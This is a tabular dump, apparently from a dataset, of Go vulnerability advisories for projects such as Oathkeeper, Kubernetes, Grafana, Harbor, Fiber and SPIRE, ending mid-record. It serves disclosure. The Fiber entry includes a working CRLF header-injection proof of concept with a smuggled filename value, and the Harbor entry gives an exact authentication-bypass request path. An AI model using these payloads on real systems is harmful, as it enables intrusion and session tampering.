ecosystem
stringclasses 11
values | vuln_id
stringlengths 10
19
| summary
stringlengths 4
220
⌀ | details
stringlengths 34
13.5k
| aliases
stringlengths 17
87
⌀ | modified_date
stringdate 2019-03-26 14:13:00
2022-05-10 08:46:52
| published_date
stringdate 2012-06-17 03:41:00
2022-05-10 08:46:50
| severity
stringclasses 5
values | score
float64 0
10
⌀ | cwe_id
stringclasses 581
values | refs
stringlengths 82
11.6k
| introduced
stringclasses 843
values | code_refs
stringlengths 46
940
| commits
stringlengths 46
940
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Go | GHSA-vfvf-6gx5-mqv6 | Incorrect Authorization in ORY Oathkeeper | ORY Oathkeeper is an Identity & Access Proxy (IAP) and Access Control Decision API that authorizes HTTP requests based on sets of Access Rules. When you make a request to an endpoint that requires the scope `foo` using an access token granted with that `foo` scope, introspection will be valid and that token will be cached. The problem comes when a second requests to an endpoint that requires the scope `bar` is made before the cache has expired. Whether the token is granted or not to the `bar` scope, introspection will be valid. A patch will be released with `v0.38.12-beta.1`. Per default, caching is disabled for the `oauth2_introspection` authenticator. When caching is disabled, this vulnerability does not exist. The cache is checked in [`func (a *AuthenticatorOAuth2Introspection) Authenticate(...)`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L152). From [`tokenFromCache()`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L97) it seems that it only validates the token expiration date, but ignores whether the token has or not the proper scopes. The vulnerability was introduced in PR #424. During review, we failed to require appropriate test coverage by the submitter which is the primary reason that the vulnerability passed the review process. | {'CVE-2021-32701'} | 2021-06-23T20:38:29Z | 2021-06-24T20:16:02Z | HIGH | null | {'CWE-863'} | {'https://github.com/ory/oathkeeper/commit/1f9f625c1a49e134ae2299ee95b8cf158feec932', 'https://github.com/ory/oathkeeper/security/advisories/GHSA-qvp4-rpmr-xwrr', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32701', 'https://github.com/ory/oathkeeper/pull/424'} | null | {'https://github.com/ory/oathkeeper/commit/1f9f625c1a49e134ae2299ee95b8cf158feec932'} | {'https://github.com/ory/oathkeeper/commit/1f9f625c1a49e134ae2299ee95b8cf158feec932'} |
Go | GHSA-f6px-w8rh-7r89 | Data race in Beego | The File Session Manager in Beego 1.10.0 allows local users to read session files because there is a race condition involving file creation within a directory with weak permissions. | {'CVE-2019-16354'} | 2021-07-22T21:51:41Z | 2021-08-02T17:15:05Z | MODERATE | null | {'CWE-732', 'CWE-362'} | {'https://github.com/astaxie/beego/blob/develop/session/sess_file.go#L141', 'https://github.com/beego/beego/issues/3763', 'https://nvd.nist.gov/vuln/detail/CVE-2019-16354', 'https://github.com/beego/beego/pull/3975/commits/f99cbe0fa40936f2f8dd28e70620c559b6e5e2fd', 'https://github.com/astaxie/beego/issues/3763'} | null | {'https://github.com/beego/beego/pull/3975/commits/f99cbe0fa40936f2f8dd28e70620c559b6e5e2fd'} | {'https://github.com/beego/beego/pull/3975/commits/f99cbe0fa40936f2f8dd28e70620c559b6e5e2fd'} |
Go | GHSA-r33q-22hv-j29q | Denial of service in github.com/ethereum/go-ethereum | ### Impact
A DoS vulnerability can make a LES server crash via malicious `GetProofsV2` request from a connected LES client.
### Patches
The vulnerability was patched in https://github.com/ethereum/go-ethereum/pull/21896.
### Workarounds
This vulnerability only concerns users explicitly enabling `les` server; disabling `les` prevents the exploit.
It can also be patched by manually applying the patch in https://github.com/ethereum/go-ethereum/pull/21896.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)
* Email us at [security@ethereum.org](mailto:security@ethereum.org) | {'CVE-2020-26264'} | 2021-05-21T21:45:23Z | 2021-06-29T21:14:07Z | MODERATE | null | {'CWE-400'} | {'https://github.com/ethereum/go-ethereum/security/advisories/GHSA-r33q-22hv-j29q', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26264', 'https://github.com/ethereum/go-ethereum/pull/21896', 'https://github.com/ethereum/go-ethereum/commit/bddd103a9f0af27ef533f04e06ea429cf76b6d46', 'https://github.com/ethereum/go-ethereum/releases/tag/v1.9.25'} | null | {'https://github.com/ethereum/go-ethereum/commit/bddd103a9f0af27ef533f04e06ea429cf76b6d46'} | {'https://github.com/ethereum/go-ethereum/commit/bddd103a9f0af27ef533f04e06ea429cf76b6d46'} |
Go | GHSA-7qw8-847f-pggm | Improper Locking in github.com/containers/storage | A deadlock vulnerability was found in 'github.com/containers/storage' in versions before 1.28.1. When a container image is processed, each layer is unpacked using `tar`. If one of those layers is not a valid `tar` archive this causes an error leading to an unexpected situation where the code indefinitely waits for the tar unpacked stream, which never finishes. An attacker could use this vulnerability to craft a malicious image, which when downloaded and stored by an application using containers/storage, would then cause a deadlock leading to a Denial of Service (DoS). | {'CVE-2021-20291'} | 2021-05-04T19:15:55Z | 2021-05-10T19:35:07Z | HIGH | null | {'CWE-400', 'CWE-667'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WX24EITRXVHDM5M223BVTJA2ODF2FSHI/', 'https://bugzilla.redhat.com/show_bug.cgi?id=1939485', 'https://nvd.nist.gov/vuln/detail/CVE-2021-20291', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZNMB7O2UIXE34PGSCSOULGHPX5LIJBMM/', 'https://github.com/containers/storage/commit/306fcabc964470e4b3b87a43a8f6b7d698209ee1', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/R5D7XL7FL24TWFMGQ3K2S72EOUSLZMKL/', 'https://unit42.paloaltonetworks.com/cve-2021-20291/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SPYOHNG2Q7DCAQZMGYLMENLKALGDLG3X/'} | null | {'https://github.com/containers/storage/commit/306fcabc964470e4b3b87a43a8f6b7d698209ee1'} | {'https://github.com/containers/storage/commit/306fcabc964470e4b3b87a43a8f6b7d698209ee1'} |
Go | GHSA-44gg-pmqr-4669 | Access Restriction Bypass in Docker | Docker 1.3.0 through 1.3.1 allows remote attackers to modify the default run profile of image containers and possibly bypass the container by applying unspecified security options to an image. | {'CVE-2014-6408'} | 2021-05-20T16:28:01Z | 2022-02-15T01:57:18Z | MODERATE | null | {'CWE-285'} | {'https://secunia.com/advisories/60241', 'https://secunia.com/advisories/60171', 'https://github.com/docker/docker/commit/c9379eb3fbbc484c056f5a5e49d8d0b755a29c45', 'https://lists.opensuse.org/opensuse-security-announce/2014-12/msg00009.html', 'https://docs.docker.com/v1.3/release-notes/', 'https://www.openwall.com/lists/oss-security/2014/11/24/5', 'https://nvd.nist.gov/vuln/detail/CVE-2014-6408', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6408', 'https://lists.fedoraproject.org/pipermail/package-announce/2014-December/145154.html'} | null | {'https://github.com/docker/docker/commit/c9379eb3fbbc484c056f5a5e49d8d0b755a29c45'} | {'https://github.com/docker/docker/commit/c9379eb3fbbc484c056f5a5e49d8d0b755a29c45'} |
Go | GO-2020-0015 | null | An attacker could provide a single byte to a [`UTF16`] decoder instantiated with
[`UseBOM`] or [`ExpectBOM`] to trigger an infinite loop if the [`String`] function on
the [`Decoder`] is called, or the [`Decoder`] is passed to [`transform.String`].
If used to parse user supplied input, this may be used as a denial of service
vector.
| {'CVE-2020-14040'} | 2021-06-07T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://go-review.googlesource.com/c/text/+/238238', 'https://github.com/golang/text/commit/23ae387dee1f90d29a23c0e87ee0b46038fbed0e', 'https://github.com/golang/go/issues/39491', 'https://groups.google.com/g/golang-announce/c/bXVeAmGOqz0'} | null | {'https://github.com/golang/text/commit/23ae387dee1f90d29a23c0e87ee0b46038fbed0e'} | {'https://github.com/golang/text/commit/23ae387dee1f90d29a23c0e87ee0b46038fbed0e'} |
Go | GHSA-9cx9-x2gp-9qvh | CRLF vulnerability in Fiber | ### Impact
The filename that is given in [c.Attachment()](https://docs.gofiber.io/ctx#attachment) is not escaped, and therefore vulnerable for a CRLF injection attack. I.e. an attacker could upload a custom filename and then give the link to the victim. With this filename, the attacker can change the name of the downloaded file, redirect to another site, change the authorization header, etc.
### Steps to reproduce
```go
package main
import "github.com/gofiber/fiber"
const badFileName = "another secret document.pdf\"\r\nLocation: google.com\r\nAuthorization: \"example_of_session_fixation"
func splitTheResponse(c *fiber.Ctx) {
c.Attachment(badFileName)
}
func main() {
app := fiber.New()
app.Get("/attack", splitTheResponse)
app.Listen("127.0.0.1:8080")
}
```
```
HTTP/1.1 200 OK
Date: Fri, 10 Jul 2020 19:47:04 GMT
Content-Type: application/octet-stream
Content-Length: 0
Content-Disposition: attachment; filename="another secret document.pdf"
Location: google.com
Authorization: "example_of_session_fixation"
```
### Patches
This issue has been patched in `v1.12.6` with commit [579](https://github.com/gofiber/fiber/pull/579/commits/f698b5d5066cfe594102ae252cd58a1fe57cf56f) escaping the filename by default.
### Workarounds
You could of course serialize the input yourself before passing it to `ctx.Attachment()`, this is actually a good practice by default. But in case you forget, we got you covered 👍
### References
A CRLF injection attack is one of several types of injection attacks. It can be used to escalate to more malicious attacks such as Cross-site Scripting (XSS), page injection, web cache poisoning, cache-based defacement, and more. A CRLF injection vulnerability exists if an attacker can inject the CRLF characters into a web application, for example using a user input form or an HTTP request, [see acunetix](https://www.acunetix.com/websitesecurity/crlf-injection/)
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [gofiber/fiber](https://github.com/gofiber/fiber)
* Join us on [Discord](https://gofiber.io/discord) | {'CVE-2020-15111'} | 2021-10-08T20:35:58Z | 2021-06-29T21:24:28Z | MODERATE | null | {'CWE-93', 'CWE-74'} | {'https://github.com/gofiber/fiber/pull/579/commits/f698b5d5066cfe594102ae252cd58a1fe57cf56f', 'https://github.com/gofiber/fiber', 'https://github.com/gofiber/fiber/security/advisories/GHSA-9cx9-x2gp-9qvh', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15111'} | null | {'https://github.com/gofiber/fiber/pull/579/commits/f698b5d5066cfe594102ae252cd58a1fe57cf56f'} | {'https://github.com/gofiber/fiber/pull/579/commits/f698b5d5066cfe594102ae252cd58a1fe57cf56f'} |
Go | GHSA-2575-pghm-6qqx | Incorrect Permission Assignment for Critical Resource and Use of Cache Containing Sensitive Information in Kubernetes | In Kubernetes v1.8.x-v1.14.x, schema info is cached by kubectl in the location specified by --cache-dir (defaulting to $HOME/.kube/http-cache), written with world-writeable permissions (rw-rw-rw-). If --cache-dir is specified and pointed at a different location accessible to other users/groups, the written files may be modified by other users/groups and disrupt the kubectl invocation. | {'CVE-2019-11244'} | 2021-05-07T17:22:21Z | 2022-02-15T01:57:18Z | MODERATE | null | {'CWE-732', 'CWE-524'} | {'https://nvd.nist.gov/vuln/detail/CVE-2019-11244', 'https://github.com/kubernetes/client-go/commit/790a4f63632139cf6731014d00a9a8338f1fbd7d', 'https://security.netapp.com/advisory/ntap-20190509-0002/', 'http://www.securityfocus.com/bid/108064', 'https://github.com/kubernetes/kubernetes/issues/76676', 'https://github.com/kubernetes/kubernetes/pull/77874', 'https://access.redhat.com/errata/RHSA-2020:0020', 'https://access.redhat.com/errata/RHSA-2020:0074', 'https://github.com/kubernetes/kubernetes/pull/77874/commits/f228ae3364729caed59087e23c42868454bc3ff4', 'https://access.redhat.com/errata/RHSA-2019:3942'} | null | {'https://github.com/kubernetes/kubernetes/pull/77874/commits/f228ae3364729caed59087e23c42868454bc3ff4', 'https://github.com/kubernetes/client-go/commit/790a4f63632139cf6731014d00a9a8338f1fbd7d'} | {'https://github.com/kubernetes/kubernetes/pull/77874/commits/f228ae3364729caed59087e23c42868454bc3ff4', 'https://github.com/kubernetes/client-go/commit/790a4f63632139cf6731014d00a9a8338f1fbd7d'} |
Go | GO-2020-0042 | null | Due to improper path santization, RPMs containing relative file
paths can cause files to be written (or overwritten) outside of the
target directory.
| {'CVE-2020-7667'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/sassoftware/go-rpmutils/commit/a64058cf21b8aada501bba923c9aab66fb6febf0', 'https://snyk.io/research/zip-slip-vulnerability'} | null | {'https://github.com/sassoftware/go-rpmutils/commit/a64058cf21b8aada501bba923c9aab66fb6febf0'} | {'https://github.com/sassoftware/go-rpmutils/commit/a64058cf21b8aada501bba923c9aab66fb6febf0'} |
Go | GHSA-wc9w-wvq2-ffm9 | Server Side Request Forgery in Grafana | The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue that allows remote code execution. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client. This can be used to gain information about the network that Grafana is running on. | {'CVE-2020-13379'} | 2021-05-14T16:27:02Z | 2022-02-15T01:57:18Z | MODERATE | null | {'CWE-918'} | {'http://www.openwall.com/lists/oss-security/2020/06/03/4', 'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00017.html', 'https://grafana.com/blog/2020/06/03/grafana-6.7.4-and-7.0.2-released-with-important-security-fix/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EEKSZ6GE4EDOFZ23NGYWOCMD6O4JF5SO/', 'http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00083.html', 'https://lists.apache.org/thread.html/r984c3b42a500f5a6a89fbee436b9432fada5dc27ebab04910aafe4da@%3Cissues.ambari.apache.org%3E', 'https://lists.apache.org/thread.html/r40f0a97b6765de6b8938bc212ee9dfb5101e9efa48bcbbdec02b2a60@%3Cissues.ambari.apache.org%3E', 'https://lists.apache.org/thread.html/rba0247a27be78bd14046724098462d058a9969400a82344b3007cf90@%3Cdev.ambari.apache.org%3E', 'https://community.grafana.com/t/release-notes-v7-0-x/29381', 'https://lists.apache.org/thread.html/re75f59639f3bc1d14c7ab362bc4485ade84f3c6a3c1a03200c20fe13@%3Cissues.ambari.apache.org%3E', 'https://community.grafana.com/t/release-notes-v6-7-x/27119', 'https://lists.apache.org/thread.html/r0928ee574281f8b6156e0a6d0291bfc27100a9dd3f9b0177ece24ae4@%3Cdev.ambari.apache.org%3E', 'https://lists.apache.org/thread.html/r6bb57124a21bb638f552d81650c66684e70fc1ff9f40b6a8840171cd@%3Cissues.ambari.apache.org%3E', 'https://mostwanted002.cf/post/grafanados/', 'https://lists.apache.org/thread.html/r093b405a49fd31efa0d949ac1a887101af1ca95652a66094194ed933@%3Cdev.ambari.apache.org%3E', 'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00009.html', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/O2KSCCGKNEENZN3DW7TSPFBBUZH3YZXZ/', 'https://rhynorater.github.io/CVE-2020-13379-Write-Up', 'https://security.netapp.com/advisory/ntap-20200608-0006/', 'https://lists.apache.org/thread.html/r6670a6c29044bcb77d4e5d165b5bd13fffe37b84caa5d6471b13b3a2@%3Cdev.ambari.apache.org%3E', 'https://www.exploit-db.com/exploits/48638', 'https://nvd.nist.gov/vuln/detail/CVE-2020-13379', 'https://lists.apache.org/thread.html/rad99b06d7360a5cf6e394afb313f8901dcd4cb777aee9c9197b3b23d@%3Cdev.ambari.apache.org%3E', 'https://lists.apache.org/thread.html/rff71126fa7d9f572baafb9be44078ad409c85d2c0f3e26664f1ef5a2@%3Cdev.ambari.apache.org%3E', 'https://lists.apache.org/thread.html/rd0fd283e3844b9c54cd5ecc92d966f96d3f4318815bbf3ac41f9c820@%3Ccommits.ambari.apache.org%3E', 'http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00060.html', 'https://community.grafana.com/t/grafana-7-0-2-and-6-7-4-security-update/31408', 'https://github.com/grafana/grafana/commit/ba953be95f0302c2ea80d23f1e5f2c1847365192', 'http://www.openwall.com/lists/oss-security/2020/06/09/2', 'https://lists.apache.org/thread.html/re7c4b251b52f49ba6ef752b829bca9565faaf93d03206b1db6644d31@%3Cdev.ambari.apache.org%3E', 'http://packetstormsecurity.com/files/158320/Grafana-7.0.1-Denial-Of-Service.html'} | null | {'https://github.com/grafana/grafana/commit/ba953be95f0302c2ea80d23f1e5f2c1847365192'} | {'https://github.com/grafana/grafana/commit/ba953be95f0302c2ea80d23f1e5f2c1847365192'} |
Go | GO-2020-0039 | null | Due to improper request santization, a specifically crafted URL
can cause the static file handler to redirect to an attacker chosen
URL, allowing for open redirect attacks.
| {'CVE-2020-12666'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/go-macaron/macaron/commit/addc7461c3a90a040e79aa75bfd245107a210245', 'https://github.com/go-macaron/macaron/pull/199', 'https://github.com/go-macaron/macaron/issues/198'} | null | {'https://github.com/go-macaron/macaron/commit/addc7461c3a90a040e79aa75bfd245107a210245'} | {'https://github.com/go-macaron/macaron/commit/addc7461c3a90a040e79aa75bfd245107a210245'} |
Go | GHSA-9wvh-ff5f-xjpj | Missing Authorization in Harbor | core/api/user.go in Harbor 1.7.0 through 1.8.2 allows non-admin users to create admin accounts via the POST /api/users API. This is fixed in 1.9.0-rc1. | {'CVE-2019-16097'} | 2021-05-17T16:40:42Z | 2022-02-15T01:57:18Z | MODERATE | null | {'CWE-862'} | {'https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/', 'https://github.com/ianxtianxt/CVE-2019-16097', 'https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517', 'https://github.com/goharbor/harbor/compare/v1.8.2...v1.9.0-rc1', 'https://github.com/goharbor/harbor/releases/tag/v1.8.3', 'https://github.com/goharbor/harbor/releases/tag/v1.7.6', 'http://www.vmware.com/security/advisories/VMSA-2019-0015.html', 'https://nvd.nist.gov/vuln/detail/CVE-2019-16097'} | null | {'https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517'} | {'https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517'} |
Go | GHSA-g42g-737j-qx6j | Access Restriction Bypass in kube-apiserver | A vulnerability in Kubernetes `kube-apiserver` could allow node updates to bypass a _Validating Admission Webhook_ and allow unauthorized node updates. The information that is provided to the admission controller could contain old configurations that overwrite values used for validation. Since the overwriting takes place before the validation, this could lead the admission controller to accept requests that should be blocked. The vulnerability can be exploited when an update action on node resources is performed and an admission controller is in place and configured to validate the action.
Users are only affected by this vulnerability if they are running a _Validating Admission Webhook_ for Nodes that denies admission based partially on the old state of the Node object. It only impacts validating admission plugins that rely on old values in certain fields and does not impact calls from kubelets that go through the built-in NodeRestriction admission plugin. | {'CVE-2021-25735'} | 2022-03-22T18:43:41Z | 2021-05-28T19:49:59Z | MODERATE | null | {'CWE-863', 'CWE-284'} | {'https://github.com/kubernetes/kubernetes', 'https://github.com/kubernetes/kubernetes/pull/99946', 'https://groups.google.com/g/kubernetes-security-announce/c/FKAGqT4jx9Y', 'https://pkg.go.dev/k8s.io/kubernetes@v1.23.5/cmd/kube-apiserver', 'https://sysdig.com/blog/cve-2021-25735-kubernetes-admission-bypass/', 'https://github.com/kubernetes/kubernetes/commit/00e81db174ef7aca497be5f42d87e46d14df2a90', 'https://nvd.nist.gov/vuln/detail/CVE-2021-25735', 'https://github.com/kubernetes/kubernetes/issues/100096', 'https://bugzilla.redhat.com/show_bug.cgi?id=1937562'} | null | {'https://github.com/kubernetes/kubernetes/commit/00e81db174ef7aca497be5f42d87e46d14df2a90'} | {'https://github.com/kubernetes/kubernetes/commit/00e81db174ef7aca497be5f42d87e46d14df2a90'} |
Go | GO-2021-0072 | null | Various storage methods do not impose limits on how much content is accepted
from user requests, allowing a malicious user to force the caller to allocate
an arbitary amount of memory.
| {'CVE-2017-11468'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/distribution/distribution/commit/91c507a39abfce14b5c8541cf284330e22208c0f', 'https://access.redhat.com/errata/RHSA-2017:2603', 'https://github.com/distribution/distribution/pull/2340', 'http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00047.html'} | null | {'https://github.com/distribution/distribution/commit/91c507a39abfce14b5c8541cf284330e22208c0f'} | {'https://github.com/distribution/distribution/commit/91c507a39abfce14b5c8541cf284330e22208c0f'} |
Go | GHSA-75pc-qvwc-jf3g | Improper Input Validation in HashiCorp Vault | HashiCorp Vault and Vault Enterprise 1.4.x before 1.4.2 has Incorrect Access Control. | {'CVE-2020-12757'} | 2021-05-13T14:47:09Z | 2021-05-18T18:20:48Z | HIGH | null | {'CWE-20'} | {'https://www.hashicorp.com/blog/category/vault/', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12757', 'https://github.com/hashicorp/vault-plugin-secrets-gcp/pull/85', 'https://github.com/hashicorp/vault/blob/master/CHANGELOG.md', 'https://github.com/hashicorp/vault-plugin-secrets-gcp/commit/e43d20870c50f7428dead1411debcec075b35fb4', 'https://github.com/hashicorp/vault/blob/master/CHANGELOG.md#142-may-21st-2020'} | null | {'https://github.com/hashicorp/vault-plugin-secrets-gcp/commit/e43d20870c50f7428dead1411debcec075b35fb4'} | {'https://github.com/hashicorp/vault-plugin-secrets-gcp/commit/e43d20870c50f7428dead1411debcec075b35fb4'} |
Go | GHSA-78hj-86cr-6j2v | Improper Access Control in Lightning Network Daemon | Lightning Network Daemon (lnd) before 0.7 allows attackers to trigger loss of funds because of Incorrect Access Control. | {'CVE-2019-12999'} | 2021-05-17T21:56:38Z | 2021-05-18T15:30:22Z | HIGH | null | {'CWE-284'} | {'https://nvd.nist.gov/vuln/detail/CVE-2019-12999', 'https://lists.linuxfoundation.org/pipermail/lightning-dev/2019-September/002174.html', 'https://github.com/lightninglabs/chanleakcheck', 'https://github.com/lightningnetwork/lnd/commits/master', 'https://github.com/lightningnetwork/lnd/releases/tag/v0.7.0-beta'} | null | {'https://github.com/lightningnetwork/lnd/commits/master'} | {'https://github.com/lightningnetwork/lnd/commits/master'} |
Go | GHSA-m4jx-6526-vvhm | Denial of service in github.com/nats-io/nats-server/server | This affects all versions of package github.com/nats-io/nats-server/server. Untrusted accounts are able to crash the server using configs that represent a service export/import cycles. Disclaimer from the maintainers - Running a NATS service which is exposed to untrusted users presents a heightened risk. Any remote execution flaw or equivalent seriousness, or denial-of-service by unauthenticated users, will lead to prompt releases by the NATS maintainers. Fixes for denial of service issues with no threat of remote execution, when limited to account holders, are likely to just be committed to the main development branch with no special attention. Those who are running such services are encouraged to build regularly from git. | {'CVE-2020-28466'} | 2021-05-12T20:38:22Z | 2022-02-15T01:57:18Z | HIGH | null | {'CWE-400'} | {'https://github.com/nats-io/nats-server/pull/1731', 'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMNATSIONATSSERVERSERVER-1042967', 'http://www.openwall.com/lists/oss-security/2021/03/16/2', 'http://www.openwall.com/lists/oss-security/2021/03/16/1', 'https://nvd.nist.gov/vuln/detail/CVE-2020-28466', 'https://github.com/nats-io/nats-server/pull/1731/commits/2e3c22672936f4980d343fb1d328b38919e74796'} | null | {'https://github.com/nats-io/nats-server/pull/1731/commits/2e3c22672936f4980d343fb1d328b38919e74796'} | {'https://github.com/nats-io/nats-server/pull/1731/commits/2e3c22672936f4980d343fb1d328b38919e74796'} |
Go | GHSA-38r5-34mr-mvm7 | "catalog's registry v2 api exposed on unauthenticated path in Harbor" | ### **Impact**
Javier Provecho, member of the TCCT (Telefonica Cloud & Cybersecurity Tech better known as ElevenPaths) SRE team discovered a vulnerability regarding Harbor’s v2 API.
The catalog’s registry v2 api is exposed on an unauthenticated path. The current catalog API path is served at the following path and it requires to be authenticated as an admin.
"GET /v2/_catalog"
However, the authorization can be bypassed by using the following path
"GET /v2/_catalog/"
### **Patches**
If your product uses the affected releases of Harbor, update to either version v2.1.2 or v2.0.5 to fix this issue immediately
https://github.com/goharbor/harbor/releases/tag/v2.1.2
https://github.com/goharbor/harbor/releases/tag/v2.0.5
### **Workarounds**
If you cannot access a patched release, it can be mitigated by disabling that API. For example, redirecting it to a 404 sink hole in the ingress.
### **For more information**
If you have any questions or comments about this advisory, contact cncf-harbor-security@lists.cncf.io
View our security policy at https://github.com/goharbor/harbor/security/policy
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29662 | {'CVE-2020-29662'} | 2022-02-12T00:01:51Z | 2022-02-12T00:01:51Z | MODERATE | null | {'CWE-319', 'CWE-287'} | {'https://github.com/goharbor/harbor/releases/tag/v2.0.5', 'https://github.com/goharbor/harbor/commit/c7c409a8e5a8b3fd42841dda84759c9d77977853', 'https://github.com/goharbor/harbor/commit/3481722f140e1fdf6e6d290b0cd5c86e509feed4', 'https://nvd.nist.gov/vuln/detail/CVE-2020-29662', 'https://github.com/goharbor/harbor/security/advisories/GHSA-38r5-34mr-mvm7', 'https://github.com/goharbor/harbor/pull/13676', 'https://github.com/goharbor/harbor/releases/tag/v2.1.2'} | null | {'https://github.com/goharbor/harbor/commit/3481722f140e1fdf6e6d290b0cd5c86e509feed4', 'https://github.com/goharbor/harbor/commit/c7c409a8e5a8b3fd42841dda84759c9d77977853'} | {'https://github.com/goharbor/harbor/commit/3481722f140e1fdf6e6d290b0cd5c86e509feed4', 'https://github.com/goharbor/harbor/commit/c7c409a8e5a8b3fd42841dda84759c9d77977853'} |
Go | GHSA-jphm-g89m-v42p | Path traversal in Grafana Cortex | An issue was discovered in Grafana Cortex through 1.9.0. The header value X-Scope-OrgID is used to construct file paths for rules files, and if crafted to conduct directory traversal such as ae ../../sensitive/path/in/deployment pathname, then Cortex will attempt to parse a rules file at that location and include some of the contents in the error message. (Other Cortex API requests can also be sent a malicious OrgID header, e.g., tricking the ingester into writing metrics to a different location, but the effect is nuisance rather than information disclosure.) | {'CVE-2021-36157'} | 2021-08-30T23:21:48Z | 2021-09-02T21:59:50Z | MODERATE | null | {'CWE-22'} | {'https://grafana.com/docs/grafana/latest/release-notes/', 'https://nvd.nist.gov/vuln/detail/CVE-2021-36157', 'https://github.com/cortexproject/cortex/pull/4375', 'https://github.com/cortexproject/cortex', 'https://github.com/cortexproject/cortex/commit/d9e1f81f40c607b9e97c2fc6db70ae54679917c4'} | null | {'https://github.com/cortexproject/cortex/commit/d9e1f81f40c607b9e97c2fc6db70ae54679917c4'} | {'https://github.com/cortexproject/cortex/commit/d9e1f81f40c607b9e97c2fc6db70ae54679917c4'} |
Go | GHSA-qr2j-wrhx-4829 | Improper Input Validation | In Go Ethereum (aka geth) before 1.8.14, TraceChain in eth/api_tracer.go does not verify that the end block is after the start block. | {'CVE-2018-16733'} | 2021-05-12T18:10:24Z | 2021-05-18T18:38:06Z | MODERATE | null | {'CWE-20'} | {'https://nvd.nist.gov/vuln/detail/CVE-2018-16733', 'https://github.com/ethereum/go-ethereum/commit/106d196ec4a6451efedc60ab15957f231fa85639'} | null | {'https://github.com/ethereum/go-ethereum/commit/106d196ec4a6451efedc60ab15957f231fa85639'} | {'https://github.com/ethereum/go-ethereum/commit/106d196ec4a6451efedc60ab15957f231fa85639'} |
Go | GO-2021-0064 | null | Authorization tokens may be inappropriately logged if the verbosity
level is set to a debug level.
| {'CVE-2020-8565'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/kubernetes/kubernetes/issues/95623', 'https://github.com/kubernetes/kubernetes/commit/e99df0e5a75eb6e86123b56d53e9b7ca0fd00419', 'https://github.com/kubernetes/kubernetes/pull/95316'} | null | {'https://github.com/kubernetes/kubernetes/commit/e99df0e5a75eb6e86123b56d53e9b7ca0fd00419'} | {'https://github.com/kubernetes/kubernetes/commit/e99df0e5a75eb6e86123b56d53e9b7ca0fd00419'} |
Go | GHSA-h746-rm5q-8mgq | Legacy Node API Allows Impersonation in github.com/spiffe/spire/pkg/server/endpoints/node | #### Summary
In SPIRE 0.8.1 through 0.8.4 and before versions 0.9.4, 0.10.2, 0.11.3 and 0.12.1, specially crafted requests to the FetchX509SVID RPC of SPIRE Server’s Legacy Node API can result in the possible issuance of an X.509 certificate with a URI SAN for a SPIFFE ID that the agent is not authorized to distribute. Proper controls are in place to require that the caller presents a valid agent certificate that is already authorized to issue at least one SPIFFE ID, and the requested SPIFFE ID belongs to the same trust domain, prior to being able to trigger this vulnerability. This issue has been fixed in SPIRE versions 0.8.5, 0.9.4, 0.10.2, 0.11.3 and 0.12.1.
#### What are the changes introduced by the patched versions?
The changes introduced to address this issue are related to enforcing that the FetchX509SVID RPC of SPIRE Server’s Legacy Node API only issues X.509 certificates with SPIFFE IDs that the agent is authorized to distribute.
The patched version also includes a back-ported change that improves the handling of file descriptors related to workload attestation in SPIRE Agent.
There are no changes in the expected behavior of SPIRE.
#### Should I upgrade SPIRE?
All SPIRE users running affected versions are advised to upgrade to the corresponding patched version.
#### Workarounds
No workarounds have been identified for this vulnerability. | {'CVE-2021-27098'} | 2021-05-21T14:28:38Z | 2021-05-21T14:31:11Z | HIGH | null | {'CWE-295', 'CWE-284'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-27098', 'https://github.com/spiffe/spire/security/advisories/GHSA-h746-rm5q-8mgq', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27098', 'https://github.com/spiffe/spire/commit/3c5115b57afc20a0a2c2b1b9dd60dd1fd9082e13'} | null | {'https://github.com/spiffe/spire/commit/3c5115b57afc20a0a2c2b1b9dd60dd1fd9082e13'} | {'https://github.com/spiffe/spire/commit/3c5115b57afc20a0a2c2b1b9dd60dd1fd9082e13'} |
Go | GHSA-x462-89pf-6r5h | Crash due to malformed relay protocol message | ### Impact
